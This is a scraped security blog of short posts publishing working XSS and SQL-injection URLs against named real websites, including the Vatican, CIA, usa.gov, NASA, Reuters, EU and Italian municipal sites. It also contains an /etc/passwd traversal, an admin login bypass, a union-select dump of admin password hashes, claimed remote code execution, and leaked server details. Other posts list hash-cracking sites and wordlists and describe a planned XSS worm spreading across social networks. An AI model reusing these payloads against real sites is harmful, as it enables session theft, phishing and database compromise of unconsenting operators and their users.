pro(re)gress

Yes, it could be done. More informations soon on this blog. (remember ... no defacements, no data retrieval, no bad things) Meanwhile I've found this simple xss (put an xss in any text box) http://asv.vatican.va/cercait/index.php?advanced=1  "><video src=1 onerror=alert(document.cookie)> Anyway, I'm playing on something else that is more interesting.

xss in quite all the pages --------------------------OLD----------------------- http://www.gossipnews.it/cinema/vedifoto.php?id=3cbd57ad5223375ca2a5089283966818&num=19%3Cscript%3Ealert(document.cookie);%3C/script%3E& http://www.gossipnews.it/musica/gli_zero_assoluto_fotorw.html?id=5ccabcbfb5861ba35a6b271c76a5ade0&num=5%3Cscript%3Ealert(document.cookie);%3C/script%3E%3C%22 any location - http header injection http://www.gossipnews.it/open/www/delivery/ck.php?oaparams=2__bannerid=537__zoneid=50__cb=1812239d6e__oadest=http%3A%2F%2Fwww.google.com --------------------------------------NEW ------------------------------- http://www.gossip.it/news/monografia.php?keyword=ssasdadas"><script>alert(1);</script>

http://supporto.teletu.it/cerca/?query=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22&search=1 any xss in the forms http://www.teletu.it/teletu/nuova-linea.php http://www.teletu.it/tuttocompreso/offerte/tutto-per-te.php

http://cerca.webnews.it/w.sl?us=fs&q=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3C%22&t=webnews&cat=

The <> tags are not allowed but the "= can be injected so we can add to the  <input> tag a style to enlarge the area and an onmouseover so that a javascript will be fired when the mouse pass over the (enlarged) text input. We can do also other things but this should be enough. https://www.cia.gov/search?q=%22%20style%3d%22height:900px;%22%20onMouseOver%3d%22alert(document.cookie) Screenshot

XSS modifies the script within the setTimeout (works after 300000 ms) http://www.adnkronos.com/IGN/Zoom/?id=3.0.4217592951');alert(document.cookie+' http://www.adnkronos.com/IGN/Zoom/?id=3.0.4217592951');alert(document.cookie);",1);setTimeout("alert(' Local File Inclusion the same problem is identical in several parts of the website even if blind (no error in the output). http://www.adnkronos.com/IGN/Zoom/?id= sample error (added a ' ) Warning: include(news/3.0.4217592951\'.inc.php) [function.include]: failed to open stream: No such file or directory in /opt/apache2/www60/IGN/Zoom/index.php on line 11 Warning: include() [function.include]: Failed opening 'news/3.0.4217592951\'.inc.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /opt/apache2/www60/IGN/Zoom/index.php on line 11 The error doesn't always appear. Probably the response is from different servers and only one of those is  showing the...

Several XSS all over the website (more than the listed). samples (xss after the id or the page will redirect) http://php.opensourcecms.com/scripts/details.php?scriptid=339%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cval=&name=Mac's%20CMS http://php.opensourcecms.com/scripts/show.php?catid=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C&cat=CMS%20/%20Portals http://php.opensourcecms.com/news/index.php?page=2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C&sortby=dateasc http://php.opensourcecms.com/scripts/details.php?scriptid=19%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C&name=e107    sample on tradepub.com closing the comment in the html http://php-opensourcecms.tradepub.com/?pt=cat&page=Cons--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--  there are several other.

I'm working on a Portable version of Oracle EX (server) for windows. The NSIS and all the relevant files will be released as open source (no specific license will be used). I will share without problems the gathered data. The list of the binary files, the registry files (.reg) etc. Actually I'm still collecting the registry modifications that are a lot, especially for the registered components. There are also modifications to the group policies made by the installer of oracle, I've only seen them but I still don't know how much time they will require. The oracle odbc installation is half working. Obviously the final version will not include the oracle's binary files. I've a static version, with fixed paths, If someone is interested into helping me please leave a comment.

Even if with some server side checks the XSS passed. http://www.lostregone.net/index.php?words=<video src=1 onerror=alert(String.fromCharCode(112,97,115,115,101,100))>&where=1&go=Vai!&rate=5&id=5062&cal_month=Apr&cal_year=2010&submitted=true&address=Indirizzo+E-mail&action=add Remote File Inclusion (the script is liga manager online) http://www.lostregone.net/GSC/gsc.php?action=table&tabtype=0&file=..

Any old phpnuke bug. There's no fun. XSS http://www.ilsannioquotidiano.it/sections.php?op=printpage&artid=1%3Cscript%3Ealert(document.cookie);%3C/script%3E old php-nuke sql injection http://www.ilsannioquotidiano.it/sections.php?op=printpage&artid=-9999999/%3Cscript%3E**%20%20/union/**/select/**/aid,pwd/**/from/**/nuke_authors/*

http://www.ilquaderno.it/commenta-articolo.php?idart=46069%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E http://www.ilquaderno.it/qsearch.php?q=%3Cscript%3Ealert(1);%3C/script%3E blind SQL Injection (in the above links). The site uses only addslashes or gpc_magic_quotes that can be bypassed.

http://search.usa.gov/search?query=funny%3C/title%3E%3C/head%3E%3Cbody%3E%3Cvideo%20src=1%20onerror=alert(document.cookie)%3E%3C/body%3E%3C/html%3E%3C!-- http://search.usa.gov/search?query=funny</title></head><body><video src=1 onerror=alert(document.cookie)></body></html><!-- So the search is adding without problems anything in the title. I've just added the remaining opening tags (</title></head><body>)of the page, the script that i want, the closing tags (</body></html>) and an opening  comment in the end ( <!-- ). Quite funny anybody can create a phishing page on usa .gov or get the sessions of the users (If I've time I will explain it in a simulation with a video - don't fear the fact that you cannot have an account). ----------------------------------------------------- If I have a bit of time I will finish and publish my thoughts about social engineering with a real example (this one?)...

Personal ratings. Links taken from google. -Online hash Generators- http://www.insidepro.com/hashes.php?lang=eng | Quite any kind - Maybe the best around http://nediam.com.mx/winhashes/search_nt_hash.php | NTLM/LM - excellent http://funprogs.topcities.com/hashgen.htm | NTLM/LM - good -Online hash Crackers- http://www.md5cracker.tk/ | MD5 - excellent - search on several md5 crack websites http://www.google.com | excellent - several websites have an md5 or sha1 hash in the title or the url http://www.yahoo.com | excellent - several websites have an md5 or sha1 hash in the title or the url http://md5.hashcracking.com | MD5 - excellent - ~50,529,455,839 predefined hashes http://www.tobtu.com/md5.php | MD5 - excellent http://www.c0llision.net/ | MD5/NTLM/LM - excellent - requests via irc with several hashes - irc.after-all.org #md5crack http://nediam.com.mx/winhashes/search_nt_hash.php | NTLM/LM - excellent http://md5.rednoize.com/ | MD5/SHA1 - excellent http://www.cmd5.or...

Several XSS (no reason to list them all) http://www.ffwebmagazine.it/ffw/page.asp?VisImg=S&Art=5592&Cat=1&I=e.gif%22 onerror="alert(document.cookie)" &IdTipo=0&TitoloBlocco=Attualit%C3%A0&Codi_Cate_Arti=24 http://www.ffwebmagazine.it/ffw/Page.asp?Cat=Archivio&Tipo=UltimeNotizie&AlreadySelected=n&IdTipo=0&Codi_Cate_Arti=23&TitoloBlocco=Economia"></a><img src=1 onerror="alert(document.cookie)"><a href="&IdMenu=80&NomeMenu=Economia http://www.ffwebmagazine.it/ffw/Page.asp?Cat=Archivio&Tipo=UltimeNotizie&AlreadySelected=y&IdTipo=0&Codi_Cate_Arti=50&TitoloBlocco=%3Cvideo%20src=1%20onerror=alert(document.cookie)%3E%3EIn%20Primo%20Piano http://www.farefuturofondazione.it/ff/Page.asp?Cat=Archivio&Tipo=UltimeNotizie&ASL=y&IdTipo=0&CCA=43&TB=Pubblicazioni%3Cvideo%20src=1%20onerror=alert(document.cookie)%3E http://www.farefuturofondazione.it/ff/page...

Hashes Algorithms used in different web applications. I've done this list by hand. Not all the hashes algos are correct (I've generically added md5 or ??? where is unkwnown). If you are interested send corrections and I will update it. I will publish also a better version with tabs. You can reproduce it without problems. It's part of the project mdcrack gui on sourceforge. Use the | as data separator. ----------------------------------------------------------------------------------------------------------------------------------------------------- | Title | Hash Algorithm | TablePrefix | Table Name | Website | ----------------------------------------------------------------------------------------------------------------------------------------------------- | 1C Битрикс | md5($pass) | | |http://www.1c-bitrix.ru/ | 1024cms | md5($pass) | | |http://www.1024cms.org/ | 4images | md5($pass) | | |http://ww...

Lately I've found a stored XSS on theregister.co.uk . The xss can be used only by sending, via a POST request, both values "job_function" and "other_job_function" (or both "job_sector" "other_job_sector") in the -users' area-. By sending a specific link we can excalate privileges with the automation of the reset of the victim's password. Obviously the victim should be logged in! A full video explaining how to get other accounts starting from the the stored XSS and a few CSRF You can watch here a video explaining the problem and the simulation of the hijacking of a session of a theregister's user . Archived page on securitytube: http://archive.is/OgZlz They have already replied to my email and solved the problem! Thumbs up for them.

I've put up a list of links to several wordlists. Links have been grabbed from several websites: I don't know your blog, I've found the links on on different websites. (I've used http://rapiddigger.com/ and similar sites so I've not cared before about the references. Add a comment if you want a link. There's no problem about it.) http://carlitobrigante.wordpress.com/2008/03/21/wyd-e-raccolta-wordlist/ http://blog.advanced-techno.net/index.php/2008/07/13/wordlist-da-15-gb/ http://www.backtrack-linux.org/forums/old-pentesting/4336-%3Dxploitz%3D-thread-share-wordlist-2.html http://www.ashiyane.org/forums/showthread.php?p=60160 http://hashcrack.blogspot.com I will update the list when I will find/need other links. http://rapidshare.com/files/135050307/wordlist--hrvatski.txt.html http://rapidshare.com/files/67152210/1_5GB_Wordlist_gepackt_5MB_.rar http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/ http://www.ai.uga.edu/ftplib/natural-lang...

Anti rootkits list  ATool - http://www.antiy.net/download/atool.rar  ATool (mirror) - http://www.kernelmode.info/ARKs/atool.rar  Avast! Antirootkit - http://files.avast.com/files/beta/aswar.exe  Antivir Antirootkit - http://dl.antivir.de/down/windows/antivir_rootkit.zip  Catchme - http://www2.gmer.net/catchme.exe  CodeWalker ARK - http://cmcinfosec.com/download/cmcark_cw0.2.4.500.rar  CodeWalker ARK (mirror) - http://www.kernelmode.info/ARKs/cmcark_cw0.2.4.500.rar  CsrWalker - http://www.rootkit.com/vault/DiabloNova/cwalker.rar  DarkSpy 1.05 - http://www.rootkit.com/vault/cardmagic/DS105fix2beta.rar  DeepMonitor - http://orkblutt.free.fr/DeepMonitor.exe  Deep System Explorer - http://diamondcs.com.au/downloads/dsesetup.exe  Dr. Web DwShark (mirror) - http://www.kernelmode.info/ARKs/DwShark.rar  F-Secure Blacklight - ftp://ftp.f-secure.com/anti-virus/tools/fsbl.exe  Find_Hidden_Dll (by Eric_71) 0.1.1....

Ok ... now with the rot13 string  </textarea><script>alert(document.cookie);</script><textarea> encoded  </grkgnern><fpevcg>nyreg(qbphzrag.pbbxvr);</fpevcg><grkgnern> ------------------------------------------ sites with raw post http://www.rot13.com/index.php text=+%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%28qbphzrag.pbbxvr%29%3B%3C%2Ffpevcg%3E%3Cgrkgnern%3E http://rot13-encoder-decoder.ewebdev.com/ plain_text_for_rot13=%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%281%29%3B%3C%2Ffpevcg%3E%3Cgrkgnern%3E http://authors.aspalliance.com/brettb/ROT13EncodingWithASP.asp ROT13=+%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%28qbphzrag.pbbxvr%29%3B%3C%2Ffpevcg%3E%3Cgrkgnern%3E&B1=Encode%2FDecode+ROT13 http://www.retards.org/projects/rot13/ rotme=+%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%28qbphzrag.pbbxvr%29%3B%3C%2Ffpevcg%3E%3Cgrkgnern%3E http://edoceo.com/utilitas/rot13 in=%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%28qbphzrag.pbbxvr%29%3B%3C%2Ffp...

asp/mysql SQL INJ http://www.sourcecodesworld.com/showScriptSite.asp?ScriptId=459 XSS (back from google?) http://www.sourcecodesworld.com/search.asp?domains=www.sourcecodesworld.com%3Bwww.givemethecode.com&q=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22&sa=Google+Search&sitesearch=www.sourcecodesworld.com&client=pub-6213915329796065&forid=1&channel=7633136160&ie=ISO-8859-1&oe=ISO-8859-1&cof=GALT%3A%23995500%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3AB00C00%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A004F23%3BALC%3AB00C00%3BLC%3AB00C00%3BT%3A000000%3BGFNT%3A000000%3BGIMP%3A000000%3BLH%3A50%3BLW%3A313%3BL%3Ahttp%3A%2F%2Fwww.sourcecodesworld.com%2Fimages%2Flogo.gif%3BS%3Ahttp%3A%2F%2Fwww.sourcecodesworld.com%3BFORID%3A11&hl=en XSS http://www.givemethecode.com/sign.asp?returnURL=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3C%22http://www.givemethecode.com/source/view-my-source.asp

The idea is to use any data to decode (base64 in this case) and see if we can inject the xss. http://base64-decode.php-functions.com/ other websites http://www.motobit.com/util/base64-decoder-encoder.asp http://www.shell-tools.net/index.php?op=base64_dec We need to submit this string base64 encoded  ------------------------------------------------------------- <html><head></head><body></textarea><script>alert(document.cookie);</script><textarea></body></html>   ------------------------------------------------------------- PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjwvdGV4dGFyZWE+PHNjcmlwdD5hbGVydChkb2N1bWVu dC5jb29raWUpOzwvc2NyaXB0Pjx0ZXh0YXJlYT48L2JvZHk+PC9odG1sPg==  ------------------------------------------------------------- Note: The <textarea> tags are useless in this case but are working in the 90% of other similar cases that are showing the results in a textarea. a diff...

the tobu railway in japan. http://www.tobu.co.jp/transit_fare/?link=http://eki.tobu.co.jp/norikae/pc/N3?USR=PC&sf=1735-%91%e5%98a%93c&st=2319-%90V%8b%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E%3C%22%cb%90%b6&sr=0&pn=3&rp=0&tp=0&ep=1&date=2'0100418&time=0910

simple http://www.normateneo.unibo.it/NormAteneo/default.htm?search=0&view=1&PageNumber=1&textToSearch=%22%3e%3cscript%3ealert(document.cookie)%3b%3c%2fscript%3e%3c%22

http://www.turkstat.gov.tr/kp/kullanici/forgotPassword.do?reqCode=pre%3Cscript%3Ealert(1);%3C/script%3EpareForgotPasswordForm

Set free all the political captives, all the human rights activists. The Iranian  Government should think about the internal problems instead of arguing about anything. Iran and the Usa MUST stop all the Atomic Programs. The new Iran must be laic, with the freedom to choose your religion, peaceful and without any kind of violence! Equal rights for the women!  Stop the violences! -------------------------------------------------------------------------   there are for sure other xss and sql injections. several sql injections in NewsId http://www.tehran.gov.ir/new/Default_view.asp?NewsId=13892 XSS in name ( http://www.tehran.gov.ir/new/Default_Services.asp?chid=17&name=<script>alert(document.cookie);</script> The system could be compromised (windows box) and get the source code due to a misconfiguration. You can download the source code here. 

Youtube have update the website practically kicking the butt of the opera browser's users with the permanent message  "GO UPGRADE!". There's a workaround to fix this issue! Just install this user javascript file Before anything, if you've not done it before, you must create the folder for the scripts (I suggest a folter within the opera application folder ... if you want in the applcation data). I've used "%programfiles%\Opera\JS" Put this javascript in the folder. -click here- ( copyright 2010, Snap ) After that go into opera and click on File->preferences->Advanced->Content->Javascript Options select the User Javascript folder. Reference: http://extendopera.org/userjs/content/youtube-protection-remover 

http://web.mail.com/31423-111/mmc-2/en-us/common/error.aspx?code=80070002žscriptualert(EXSSE)ž/scriptu&ssm=true&chm=true&sbl=false&ph=web.mail.com&reportid=30530-web-20100416-201528&rt=STANDARD#x0D;ascript:alert(%27myxss%27);%22%3E&ssm=true&chm=true&sbl=false&ph=web.mail.com&reportid=anything&rt=STANDARD base url: http://web.mail.com/ 31423-111 - can be anything (url rewriting??) mmc-2/ - can be anything (url rewriting??) en-us - can be anything (url rewriting??). This should set the language. common -  - can be anything (url rewriting??) A funny joke XD (for me) http://web.mail.com/31423-111/mmc-2/en-us/common/error.aspx?code=80070002&ssm=true&chm=true&sbl=false&ph=web.mail.com&reportid=You need to buy a new computer&rt=STANDARD

europa.eu is mainly based on cold fusion and Oracle as dbms (via jdbc) The main website is probably proxied via http://yakima.cc.cec.eu.int:6085  (I'm not able to clearly understand all the errors from coldfusion) ------link removed as requested------ I cannot publish the url but it's easy to spot (in my opinion). Note: A few hours with a fuzzer can give you good results. -------

Talibans could attack the usa's website too :) lol. I don't want to offend anybody ... it's just to say something funny. And I've warned the tech support instead of defacing the website as someone else could have done for a lot of popularity. http://answers.usa.gov/cgi-bin/gsa_ict.cfg/php/enduser/chat.php sample "><script>alert(document.cookie);</script><" with a more elaborated (external) script you can create a phishing page with a different chat. With a bit of social engineering and an external script (my post2get.php ?) you can even grab the cookies. I've already grabbed a session id but without luck (I don't know the administrative/login/authentication pages (and I don't want to know them 8) ). Remote code execution. Input is not sanitized. http://answers.usa.gov/cgi-bin/gsa_ict.cfg/php/   <- any file from the url As a proof I've contacted them via the (same) chat. ----------------------...

Yes ... "you are so cool" phpnuke was not so cool. :) http://www.provincia.benevento.it/?name=Search&file=../../../../../../../../../etc/passwd php-stats remote execution in admin.php| sql injections http://www.provincia.benevento.it/stats/

Possible spam/phishing http://www.inps.it//newportal/default.aspx?txtNumero=%22%3Epassword:%20%3Cinput%20type=%22text%22%3E%3Cinput%20type=%22submit%22%3E%3C%22&txtTesto=%20test%3E&undefined=TROVA&sTrova=ultime%20circolari&sCategoria=3&cboAnno=Abc123&cboDal=Abc123&cboAl=Abc123&cboOrdina=Data%20crescente#02067624055715922812 http://www.inps.it//newportal/default.aspx?txtNumero=2&txtTesto=%20rantolo">%3E&undefined=TROVA&sTrova=ultime%20circolari&sCategoria=3&cboAnno=Abc123&cboDal=Abc123&cboAl=Abc123&cboOrdina=Data%20crescente#02067624055715922812 http://www.inps.it//newportal/default.aspx?txtNumero=2&txtTesto=%20rantolo">%3E&undefined=TROVA&sTrova=ultime%20circolari&sCategoria=3&cboAnno=Abc123&cboDal=Abc123&cboAl=Abc123&cboOrdina=Data%20crescente#02067624055715922812 http://www.inps.it//newportal/default.aspx?txtNumero=2&cboAnno=&cboDal=%22%3E1979&cboAl=2011...

a fex xss a possible sql injection (oracle dbms) in http://www.policlinicoumberto1.it/PR_Item.asp

simple sql inj to login in the admin area ( u: anything p: 'or' ) http://www.municipioroma7.it/damailinglist/admin_cp.asp sql injection in Title http://www.municipioroma7.it/?Page=News&Title= Several other problems.

http://www.comune.roma.it/was/wps/portal/!ut/p/_s.7_0_A/7_0_6L3/.cmd/ad/.ar/sa.spf_ActionListener/.c/6_0_43I/.ce/7_0_SGH/.p/5_0_QUH?annoPubblicazione=&giornoScadenza=&method=searchValue&d-16544-p=3&testoLibero=&spf_strutsAction=%212fhomeAlbp.do<img src="http://www.google.it/images/nav_logo8.png">&giornoPubblicazione=&annoScadenza=&meseScadenza=&provvedimento=-1&mesePubblicazione=&isDisplayTagCall=true&proponente=-1&isDisplayTagCall=true

#cat /proc/version Linux version 2.6.15-1.2054_FC5smp (bhcompile@hs20-bc1-3.build.redhat.com) (gcc version 4.1.0 20060304 (Red Hat 4.1.0-3)) #1 SMP Tue Mar 14 16:05:46 EST 2006 mysql user (from scripts): cvbIJC_ webroot path: /root/comune.bn/ No further info XSS http://www.comunebn.it/webcam_day/foto.php?ore=0%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E0  

An old xss..... http://teens.aol.com/entertainment/celebrity-causes?photo=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

There are several other bugs and It's always the same code. A few samples. http://www.unisannio.it/notizie/comunicati/viscom.php?id=%3Cscript%3Ealert%281%29;%3C/script%3E http://www.unisannio.it/notizie/semconv/viscom.php?id=%3Cscript%3Ealert%281%29;%3C/script%3E http://www.unisannio.it/notizie/seminari/viscom.php?id= http://ing.unisannio.it/ects/scheda.php?1 - sql errors -29/12/2011 Update- After a 10 minutes spent on the website for fun I've tested that it's possible to run a shell  without a lot of problems, the system can be compromised and it's possible to get full administration privileges. The same goes for a few other boxes in the network ... no one is going to patch those computer even after mailing them about the problem.

Long time ago.... The first time that I've found a xss on a nasa's website I've reported it to the webmaster .... it was so strange (for me) because *he* was a woman. She was clueless about what I was talking about (xss/sql injections .... bla bla). Uh ..... as a gossip I can tell you that she was a beautiful woman .... I digged into her photos so I can still remember her. But hey .... she was married and happy (I suppose) :). This one ise new ... found just for fun right now. http://robotics.nasa.gov/archive/robot_news.php?year=2005<script>alert(document.cookie);</script> Those are so old that they don't even work anymore and some pages are not existing. http://photojournal.jpl.nasa.gov/gallery/snt?"><script>alert(123456)</script> http://photojournal.jpl.nasa.gov/gallery/universe?"><script>alert(123456)</script> http://robotics.nasa.gov/rcc/redirect.php?url=%22%3E%3Cscript%3Ealert(123456)%3C/script%3E%3C/b...

Those xss are very old too. There are also several sql injections and the possibility to admin several boxes in a control panel due to a bug (but I cannot and I don't want to add them). Those are *just* xss. http://www.aruba.it/listino.asp?id=/%22%3E%22%3Cscript%3Ealert(document.cookie);%3C/script%3E http://rivenditori.aruba.it/riv/start.asp?Msg=%22%3E%3E%3C%3Cscript%3Ealert(document.cookie);%3C/script%3E http://hosting.aruba.it/domini/nodata.asp?Msg=%22%3E%3E%3C%3Cscript%3Ealert(document.cookie);%3C/script%3E http://hosting.aruba.it/?lang=%22%3E%3E%3C%3Cscript%3Ealert(document.cookie);%3C/script%3E http://keyposition.aruba.it/scegli.asp?kvu=%22%3E%3E%3C%3Cscript%3Ealert(document.cookie);%3C/script%3E

I've sent some time ago (more than 2 years? I cannot remember) an email regarding the xss on their (reuters) website. I've not tested other things as much as I can remember but there are a couple of other small bugs. http://www.reuters.com/search?blob=%22%3B%3E%3C%2Fnoscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

There are several XSS, a few CSRF etc. on the eures' website. A sample http://ec.europa.eu/eures/main.jsp?acro=faq%22%%3C/script%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E%3C&lang=it&catId=489&parentId=0 Even a kid could identify them. The cookie EURES_SESSIONID can also be (ab)used for other particular things. You can also impersonate the administrator (maybe I will add an example when they will solve those issues). Anyway..... I'm still waiting their fix for the pdf/doc generation of the curriculum vitae (about a year have passed since my request for support). Theorically it's a good service ..... when it works ..... even if I've never used anything except the curriculum generation.

Ikea Home Planner Portable "Become your own interior designer with the help of the IKEA Planner Tools. Drag and drop your choice of furniture into the room and fit them to the exact measurements of your home. Rearrange and try different styles until you’re satisfied with the result. View it in 3-D and print with all the measurements, just like an architect. See how much it will cost and get the list of all products." Ikea Home Planner Portable

The portable version of Microsoft Baseline Security Analyzer 2.1.1  "The Microsoft Baseline Security Analyzer provides a streamlined method to identify missing security updates and common security misconfigurations. MBSA 2.1.1 is a minor upgrade to add support for Windows 7 and Windows Server 2008 R2." Download Microsoft Baseline Security  from sharebee (Megaupload, Rapidshare, zshare, etc)

 The portable version of Goolag Scanner "The Goolag Scanner is a tool that has been released by the Cult of the Dead Cow to automate Google hacking using 1,500 predefined search queries." Goolag Scanner Portable P.S. I don't use this tool.

A Portable version of Mozilla Firefox with several add-ons that are useful for Web Application Security. The purpose of this package is to have the best available addons to manually test XSS, SQL, siXSS, CSRF, Trace XSS, RFI, LFI, etc. Firefox Portable WebTools

This is an old patch for the latest version of urchin 5 that is no longer supported. Fix for Urchin 5.703 This is quite old so I don't know  if it covers all the bugs but for sure most of the xss and apache bugs have been solved.

I've spent a bit of time to understand how to get a carriage return with a batch script. Anyway this simple batch is useless ... an HEAD HTTP request with netcat. gethead.bat @echo OFF if not exist "%set_path_root%bin\nc.exe" goto :NONETCAT set HTTPHOST=%1 if "%HTTPHOST%" == "" goto :HELP set HTTPPORT=%2 if "%HTTPPORT%" == "" set HTTPPORT=80 set HTTPHEADREQ=HEAD / HTTP/1.0 echo %HTTPHEADREQ% >httpreqfiledata.tmp echo. >>httpreqfiledata.tmp nc %HTTPHOST% %HTTPPORT% < httpreqfiledata.tmp del httpreqfiledata.tmp GOTO :END :NONETCAT echo please make sure that necat is available goto END :HELP echo ------------------------------ echo usage: gethead hostname [port] echo ------------------------------ :END

http://www.mochimedia.com/ http://rockyou.com/ http://www.myofferpal.com/ http://www.tattomedia.com/ http://srpoints.com/

- resources from socialnetworklist and wikipedia- How to build a facebook application Tricks and tips More Tricks and tips   Using Java Central Hub of resources from Facebook   API Wiki Tools PHPLibrary (direct link to file) Terminology 101 top Facebook Apps Automatic App generator Turnkey Apps 105 Facebook Apps Step by Step guide Introduction to FBML 25 Top Apps Facebook Platform News Facebook Popularity map Tips for developing a successful Facebook App Tips from the maker of "Quizes" Maximising growth of your App Costs of hosting App Facebook PHP Tutorial First Facebook App How to write a facebook App in 10 mins Lessons for Facebook developers 10 things I wish I knew at the start Flash and the API Facebook friends Adder

I've put up a list of the most common social networks to implement them in an automatic (theory and not practice) xss based worm with specific "code" download . (xmlhttprequests are quite always not working  .... with the java class it's working on any platform but it's suspicious and the users are warned). (5 s.n. are working. Spread limit to 10 users per network) Anyway, this is the list of the social networks, some useful sites and the refeferences. ------------------------------------------------------------------- -References- http://en.wikipedia.org/wiki/List_of_social_networking_websites http://socialnetworklist.com ------------------------------------------------------------------- -write to several social networks in one time- http://ping.fm/ http://hellotxt.com/ ------------------------------------------------------------------- -Social Networks- anobii.com badoo.com facebook.com linkedin.com mixi.jp myspace.com orkut.com viade...

This is a list of online Virus, Malware, Trojan Scanners for Trojans, Backdoors, Worms, Dialers, Spyware/Adware, Keyloggers, Rootkits, Hacking Tools, Riskware, TrackingCookies, Virii, Viruti, Virus, Sniffers, Trojan/Droppers, Troj/Crypt. Scan uploaded files individually using multiple anti-virus engines All antivirus softwares - AhnLab (V3), Aladdin (eSafe), ALWIL (Avast! Antivirus), Authentium (Command Antivirus), Avira (AntiVir), Bit9 (FileAdvisor), Cat Computer Services (Quick Heal), ClamAV (ClamAV), CA Inc. (Vet), Doctor Web, Ltd. (DrWeb), Eset Software (NOD32), ewido networks (ewido anti-malware), Fortinet (Fortinet), FRISK Software (F-Prot), F-Secure (F-Secure), Grisoft (AVG), Hacksoft (The Hacker), Ikarus Software (Ikarus), Kaspersky Lab (AVP), McAfee (VirusScan), Microsoft (Malware Protection), Norman (Norman Antivirus), Panda Software (Panda Platinum), Prevx (Prevx1), Secure Computing (Webwasher), Softwin (BitDefender), Sophos (SAV), Sunbelt Software (Antivirus), Syman...